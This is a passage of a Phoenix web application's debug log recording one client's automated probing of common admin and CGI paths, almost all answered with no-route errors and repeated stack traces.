    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:20:07.432000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46474] POST /api/login/
[Thu Sep  3 08:20:07.482000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46474] ** (Phoenix.Router.NoRouteError) no route found for POST /api/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:20:08.466000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46482] GET /cgi-sys/defaultwebpage.cgi
[Thu Sep  3 08:20:08.496000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46482] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-sys/defaultwebpage.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:20:10.593000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46488] GET /cld/
[Thu Sep  3 08:20:10.617000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46488] ** (Phoenix.Router.NoRouteError) no route found for GET /cld (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:20:14.132000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45702] GET /cgi-sys/entropysearch.cgi
[Thu Sep  3 08:20:14.144000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45702] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-sys/entropysearch.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:20:15.198000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45718] GET /ConsoleHelp/default.jsp
[Thu Sep  3 08:20:15.225000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45718] ** (Phoenix.Router.NoRouteError) no route found for GET /ConsoleHelp/default.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:20:17.889000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45728] GET /CFIDE/administrator/settings/version.cfm
[Thu Sep  3 08:20:17.913000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45728] ** (Phoenix.Router.NoRouteError) no route found for GET /CFIDE/administrator/settings/version.cfm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:20:19.803000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45738] GET /index.cgi
[Thu Sep  3 08:20:19.813000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45738] ** (Phoenix.Router.NoRouteError) no route found for GET /index.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:20:25.049000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52000] GET /
[Thu Sep  3 08:20:25.051000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:52000] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:20:25.051000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52000] Sent 200 in 1ms
[Thu Sep  3 08:20:25.506000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52012] GET /index.pl
[Thu Sep  3 08:20:25.524000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52012] ** (Phoenix.Router.NoRouteError) no route found for GET /index.pl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:20:29.792000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52014] GET /
[Thu Sep  3 08:20:29.792000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:52014] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:20:29.793000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52014] Sent 200 in 1ms
[Thu Sep  3 08:20:31.153000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52018] GET /index.sh
[Thu Sep  3 08:20:31.166000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52018] ** (Phoenix.Router.NoRouteError) no route found for GET /index.sh (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:20:34.345000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37386] GET /cmf/login
[Thu Sep  3 08:20:34.363000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37386] ** (Phoenix.Router.NoRouteError) no route found for GET /cmf/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:20:36.819000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37398] GET /nph-mr.cgi
[Thu Sep  3 08:20:36.834000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37398] ** (Phoenix.Router.NoRouteError) no route found for GET /nph-mr.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:20:38.624000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37408] GET /clientaccesspolicy.xml
[Thu Sep  3 08:20:38.650000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37408] ** (Phoenix.Router.NoRouteError) no route found for GET /clientaccesspolicy.xml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:20:43.548000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37412] GET /query.cgi
[Thu Sep  3 08:20:43.559000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37412] ** (Phoenix.Router.NoRouteError) no route found for GET /query.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:20:47.803000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46078] GET /
[Thu Sep  3 08:20:47.804000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:46078] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:20:47.804000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46078] Sent 200 in 1ms
[Thu Sep  3 08:20:48.921000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46084] GET /Director
[Thu Sep  3 08:20:48.972000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46084] ** (Phoenix.Router.NoRouteError) no route found for GET /Director (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:20:49.247000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46096] GET /session_login.cgi
[Thu Sep  3 08:20:49.258000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46096] ** (Phoenix.Router.NoRouteError) no route found for GET /session_login.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:20:49.613000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46098] GET /DesktopDirector
[Thu Sep  3 08:20:49.640000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46098] ** (Phoenix.Router.NoRouteError) no route found for GET /DesktopDirector (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
